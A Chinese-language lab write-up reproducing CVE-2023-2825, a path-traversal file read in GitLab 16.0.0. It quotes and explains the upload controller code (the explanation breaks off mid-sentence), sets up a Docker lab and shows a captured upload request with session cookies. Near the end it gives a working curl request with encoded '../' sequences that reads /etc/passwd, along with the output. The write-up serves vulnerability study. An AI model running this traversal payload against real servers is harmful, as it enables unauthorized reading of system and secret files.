CVE-2023-2825 Gitlab 16.0.0 任意文件读取漏洞
CVE-2023-2825 Gitlab 16.0.0 任意文件读取漏洞
参考
GitLab Critical Security Release: 16.0.1 | GitLab
Comparing v16.0.0…v16.0.1 · gitlabhq/gitlabhq (github.com)
跟踪
看起来是文件上传显示上传文件的时候,没有过滤掉 filename 而发生的任意文件读取。
app/controllers/concerns/uploads_actions.rb
# frozen_string_literal: true
module UploadsActions
extend ActiveSupport::Concern
include Gitlab::Utils::StrongMemoize
include SendFileUpload
UPLOAD_MOUNTS = %w[avatar attachment file logo pwa_icon header_logo favicon screenshot].freeze
included do
prepend_before_action :set_request_format_from_path_extension
rescue_from FileUploader::InvalidSecret, with: :render_404
rescue_from ::Gitlab::Utils::PathTraversalAttackError do
head :bad_request
end
end
def create
uploader = UploadService.new(model, params[:file], uploader_class).execute
respond_to do |format|
if uploader
format.json do
render json: { link: uploader.to_h }
end
else
format.json do
render json: _('Invalid file.'), status: :unprocessable_entity
end
end
end
end
# This should either
# - send the file directly
# - or redirect to its URL
#
def show
Gitlab::Utils.check_path_traversal!(params[:filename])
return render_404 unless uploader&.exists?
ttl, directives = *cache_settings
ttl ||= 0
directives ||= { private: true, must_revalidate: true }
expires_in ttl, directives
file_uploader = [uploader, *uploader.versions.values].find do |version|
version.filename == params[:filename]
end
return render_404 unless file_uploader
workhorse_set_content_type!
send_upload(file_uploader, attachment: file_uploader.filename, disposition: content_disposition)
end
def authorize
set_workhorse_internal_api_content_type
authorized = uploader_class.workhorse_authorize(
has_length: false,
maximum_size: Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i)
render json: authorized
rescue SocketError
render json: _("Error uploading file"), status: :internal_server_error
end
private
# Based on ActionDispatch::Http::MimeNegotiation. We have an
# initializer that monkey-patches this method out (so that repository
# paths don't guess a format based on extension), but we do want this
# behavior when serving uploads.
def set_request_format_from_path_extension
path = request.headers['action_dispatch.original_path'] || request.headers['PATH_INFO']
return unless match = path&.match(/\.(\w+)\z/)
format = Mime[match.captures.first]
request.format = format.symbol if format
end
def content_disposition
if uploader.embeddable? || uploader.pdf?
'inline'
else
'attachment'
end
end
def uploader_class
raise NotImplementedError
end
def upload_mount
mounted_as = params[:mounted_as]
mounted_as if UPLOAD_MOUNTS.include?(mounted_as)
end
def uploader_mounted?
upload_model_class < CarrierWave::Mount::Extension && !upload_mount.nil?
end
def uploader
if uploader_mounted?
model.public_send(upload_mount) # rubocop:disable GitlabSecurity/PublicSend
else
build_uploader_from_upload || build_uploader_from_params
end
end
strong_memoize_attr :uploader
# rubocop: disable CodeReuse/ActiveRecord
def build_uploader_from_upload
return unless uploader = build_uploader
upload_paths = uploader.upload_paths(params[:filename])
upload = Upload.find_by(model: model, uploader: uploader_class.to_s, path: upload_paths)
upload&.retrieve_uploader
end
# rubocop: enable CodeReuse/ActiveRecord
def build_uploader_from_params
return unless uploader = build_uploader
uploader.retrieve_from_store!(params[:filename])
uploader
end
def build_uploader
return unless params[:secret] && params[:filename]
uploader = uploader_class.new(model, secret: params[:secret])
return unless uploader.model_valid?
uploader
end
def embeddable?
uploader && uploader.exists? && uploader.embeddable?
end
def bypass_auth_checks_on_uploads?
if target_project && !target_project.public? && target_project.enforce_auth_checks_on_uploads?
return false
end
action_name == 'show' && embeddable?
end
def target_project
nil
end
def find_model
nil
end
def cache_settings
[]
end
def model
find_model
end
strong_memoize_attr :model
def workhorse_authorize_request?
action_name == 'authorize'
end
end
这段代码实现了一个名为 UploadsActions 的 Rails Concern 模块,用于处理文件上传相关的操作。该模块被多个控制器所包含和重用,以提高代码的可读性和可维护性。
具体来说,该模块定义了一系列方法和回调函数,用于处理文件上传、生成文件下载链接、检查路径遍历攻击等。下面对这些方法和回调函数进行详细解释:
-
module UploadsActions
定义了一个名为 UploadsActions 的 Rails Concern 模块。
-
extend ActiveSupport::Concern
表示该模块是一个 Rails Concern,可以被包含在控制器中。
-
include Gitlab::Utils::StrongMemoize
包含了 Gitlab::Utils::StrongMemoize 模块,用于缓存方法调用的结果,提高代码的性能。
-
include SendFileUpload
包含了 SendFileUpload 模块,用于发送文件给客户端。
-
UPLOAD_MOUNTS = %w[avatar attachment file logo pwa_icon header_logo favicon screenshot].freeze
定义了一个常量 UPLOAD_MOUNTS,包含了多个上传挂载点,用于指定上传文件的存储位置。这些挂载点包括 avatar、attachment、file、logo、pwa_icon、header_logo、favicon、screenshot 等,涵盖了上传文件的大部分用途。
-
included do
定义了一个 included 块,用于在包含 UploadsActions 模块的控制器中添加一些回调函数和异常处理逻辑。
-
prepend_before_action :set_request_format_from_path_extension
将 set_request_format_from_path_extension 方法添加为控制器方法执行之前的回调函数。该方法用于根据请求路径扩展名自动设置请求格式,例如当请求路径为 “/users/123.json” 时,自动设置请求格式为 JSON。这个方法可以方便地自动处理响应格式,提高代码的可读性和可维护性。
-
rescue_from FileUploader::InvalidSecret, with: :render_404
使用 rescue_from 块来捕获 FileUploader::InvalidSecret 异常,并调用 render_404 方法来返回 404 Not Found 响应。这个异常表示上传文件的密钥不匹配,通常由于上传文件的 URL 被篡改或过期而导致。因此,当控制器方法抛出这个异常时,会返回 404 Not Found 响应,告诉客户端请求的资源不存在。
-
rescue_from ::Gitlab::Utils::PathTraversalAttackError do
使用 rescue_from 块来捕获 Gitlab::Utils::PathTraversalAttackError 异常,并调用 head 方法来返回 400 Bad Request 响应。这个异常表示上传文件的路径包含了路径遍历攻击的特殊字符,例如 “../” 或 “%2F”,可能导致安全漏洞。因此,当控制器方法抛出这个异常时,会返回 400 Bad Request 响应,告诉客户端请求无效。
-
def create
定义了一个 create 方法,用于处理文件上传请求。该方法调用 UploadService.new 方法创建一个上传服务对象,并执行 execute 方法上传文件。如果上传成功,则返回 JSON 格式的上传链接;如果上传失败,则返回错误消息和状态码。
def show
定义了一个 show 方法,用于处理文件下载请求。该方法先检查文件名是否包含路径遍历攻击的特殊字符,然后查找上传文件的版本,并根据文件类型设置响应头,最后使用 send_upload 方法将文件发送给客户端。如果文件不存在,则返回 404 Not Found 响应。
def authorize
定义了一个 authorize 方法,用于授权文件上传请求。该方法调用 uploader_class.workhorse_authorize 方法,检查上传文件的大小是否超过最大限制,并返回授权结果。如果发生 SocketError 异常,则返回 500 Internal Server Error 响应。
def set_request_format_from_path_extension
定义了一个 set_request_format_from_path_extension 方法,用于根据请求路径扩展名自动设置请求格式。该方法从请求头中获取原始路径或 PATH_INFO,然后使用正则表达式匹配扩展名,并根据扩展名设置请求格式。
def content_disposition
定义了一个 content_disposition 方法,用于根据文件类型设置下载链接的 Content-Disposition 头。如果文件可以嵌入,或者是 PDF 文件,则设置为 “inline”,否则设置为 “attachment”。
def uploader_class
定义了一个 uploader_class 方法,用于获取上传文件的类名。该方法需要在包含 UploadsActions 模块的控制器中被重写实现,返回对应的上传文件类名。
def upload_mount
定义了一个 upload_mount 方法,用于获取上传文件的挂载点。该方法从请求参数中获取挂载点的名称,如果该名称包含在 UPLOAD_MOUNTS 常量中,则返回该名称,否则返回 nil。
def uploader_mounted?
定义了一个 uploader_mounted? 方法,用于检查上传文件是否已经被挂载。该方法调用 upload_model_class 方法获取上传文件的模型类,判断该类是否继承了 CarrierWave::Mount::Extension 并且挂载点不为 nil。
def uploader
定义了一个 uploader 方法,用于获取上传文件的实例。如果上传文件已经被挂载,则直接返回模型中的挂载对象;否则,根据上传参数创建一个新的上传文件对象或从数据库中查找已有的上传文件对象。
strong_memoize_attr :uploader
使用 Gitlab::Utils::StrongMemoize 模块的 strong_memoize_attr 方法,将 uploader 方法的结果缓存起来,提高代码的性能。
-
def build_uploader_from_upload
定义了一个 build_uploader_from_upload 方法,用于从上传文件中创建上传文件对象。该方法先调用 build_uploader 方法创建一个上传文件对象,然后根据文件名获取上传文件在数据库中的记录,最后调用 retrieve_uploader 方法获取上传文件的实例。
-
def build_uploader_from_params
定义了一个 build_uploader_from_params 方法,用于从参数中创建上传文件对象。该方法先调用 build_uploader 方法创建一个上传文件对象,然后根据文件名从存储中获取上传文件的实例,并调用 retrieve_from_store! 方法获取上传文件对象。
-
def build_uploader
定义了一个 build_uploader 方法,用于从上传参数中创建上传文件对象。该方法首先检查参数中是否包含密钥和文件名,然后调用 uploader_class.new 方法创建一个上传文件对象,并检查该对象是否合法。
-
def embeddable?
定义了一个 embeddable? 方法,用于检查上传文件是否可以嵌入到页面中。该方法检查上传文件是否存在,并且是可以嵌入的文件类型,例如图片、视频等。
-
def bypass_auth_checks_on_uploads?
定义了一个 bypass_auth_checks_on_uploads? 方法,用于检查是否可以跳过文件上传的权限检查。该方法首先获取目标项目(target_project)和模型对象(model),然后根据项目的配置和操作名称判断是否可以跳过权限检查。如果操作为 show,并且上传文件是可以嵌入的,则返回 true;否则,返回 false。
-
def target_project
定义了一个 target_project 方法,用于获取目标项目对象。该方法需要在包含 UploadsActions 模块的控制器中被重写实现,返回对应的项目对象。
-
def find_model
定义了一个 find_model 方法,用于获取模型对象。该方法需要在包含 UploadsActions 模块的控制器中被重写实现,返回对应的模型对象。
-
def cache_settings
定义了一个 cache_settings 方法,用于获取缓存
复现
Docker 环境。
> docker pull gitlab/gitlab-ce:16.0.0-ce.0
> docker run -p 8080:80 --hostname=hostname --env=PATH=/opt/gitlab/embedded/bin:/opt/gitlab/bin:/assets:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin --env=LANG=C.UTF-8 --env=EDITOR=/bin/vi --env=TERM=xterm --volume=/etc/gitlab --volume=/var/log/gitlab --volume=/var/opt/gitlab --label='org.opencontainers.image.ref.name=ubuntu' --label='org.opencontainers.image.version=22.04' --runtime=runc -d gitlab/gitlab-ce:16.0.0-ce.0
进入 Docker 更换 Gitlab 的 root 用户的密码,输入下方命令后立刻输入两次相同的密码,等待片刻即可更换。(密码不得包含常用的单词和字母的组合)
gitlab-rake "gitlab:password:reset[root]"
检查版本。
http://ip/help
前提条件配置
新建五个嵌套的 Group(公开的 Public)
点击到 Group5 的 Issue,先新建一个 Project。
有 Project 才可以提 Issue的。现在我们可以在这个新 Project 下面提 Issue 了。我们上传一个 txt 上去看看报文是怎么样的。
POST /group1/group2/group3/group4/group5/myproject/uploads HTTP/1.1
Host: 10.58.119.163:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.58.119.163:8080/group1/group2/group3/group4/group5/myproject/-/issues/new
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-CSRF-Token: x_BdXYLBQ7Xavjv9YxiQ7s8J9ORbSb16N_Usl3jcHzs60frz89HmR6uJ8J8Gme_ZPxgddC33zZOtMXCOQIzQ-w
Content-Type: multipart/form-data; boundary=---------------------------10156574002535303338987553282
Content-Length: 232
Origin: http://10.58.119.163:8080
Connection: close
Cookie: _gitlab_session=48ce91215a3e8b641ad9f8f2b751dc0d; preferred_language=en; remember_user_token=eyJfcmFpbHMiOnsibWVzc2FnZSI6Ilcxc3hYU3dpSkRKaEpERXdKRVJ5Tm5GVlIwTk9Sbm95TG1rNWEyUjRhVE40ZVU4aUxDSXhOamcxTURZM05qRXlMalEwT0RZME16Y2lYUT09IiwiZXhwIjoiMjAyMy0wNi0wOVQwMjoyMDoxMi40NDhaIiwicHVyIjoiY29va2llLnJlbWVtYmVyX3VzZXJfdG9rZW4ifX0%3D--0a3d2cbc36d0b7560cf86569fe012f3948d32a35; known_sign_in=Yk5wTjJOZ0REdXl0emJqd1JtelZsZGt3V20rQ2xicFpQMStqcXNLQWVXamo1aXIxTFBwZEVCd2hIMTZuenlVTFRiTHpiekJzNU1hcVM3dmd0dEdnZHBULzFJeDBxeW9leStzSEIwRkJITWlHeW43cHlqNCs1a2JIcjI2UmdHTnAtLVcyemlOQjl6RlBmc2VlMGN4LzlHeVE9PQ%3D%3D--f98c80107aa5fa2703a6addaa2cad2633262f47d; sidebar_collapsed=false; 16.0.0-hide-alert-modal=true
-----------------------------10156574002535303338987553282
Content-Disposition: form-data; name="file"; filename="xyw.txt"
Content-Type: text/plain
Test txt by xyw
-----------------------------10156574002535303338987553282--
在 Docker 里面找到 txt 的位置
> find / -name "xyw.txt"
/var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b/ffbca056817c56f6db260c4c21994256/xyw.txt
这里我们是否可以遍历然后任意文件读取呢。我们创建一个新的文件 flag.txt 在这个位置。
echo flag-is-here > /var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/flag.txt
也就是说 flag.txt 在 xyw.txt 的上两级目录下。
已知,xyw.txt 对应的 URL 是这个,访问即可看到 xyw.txt。
http://10.58.119.163:8080/group1/group2/group3/group4/group5/myproject/uploads/ffbca056817c56f6db260c4c21994256/xyw.txt
我们尝试一下是否可以通过目录穿越访问 flag,也就是访问:
http://10.58.119.163:8080/group1/group2/group3/group4/group5/myproject/uploads/ffbca056817c56f6db260c4c21994256/..%2f..%2fflag.txt
很明显是可以的。
参考中也提到,想要穿越几层,就要有至少几层的 Group。我们要穿越 10 次才可以到根目录。
发现 5 个 Group 最多穿越 5 次。也就是说假如我们要穿越到根目录要 10 个嵌套的 Group。
复现
但是经过试验并不是这样的,按照作者的在第九个 Group 去做攻击,确实是可以攻击成功的。
> curl http://10.58.119.163:8080/group1/group2/group3/group4/group5/group6/group7/group8/group9/project3/uploads/f368a14ea87ccb982668a20de045de98//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
局限
这个漏洞需要:
- 你的 Group 都是公开的;
- 你的项目是可以公开提 Issue,这样才可以知道 URL 后面的 hash;
- 而且需要嵌套组。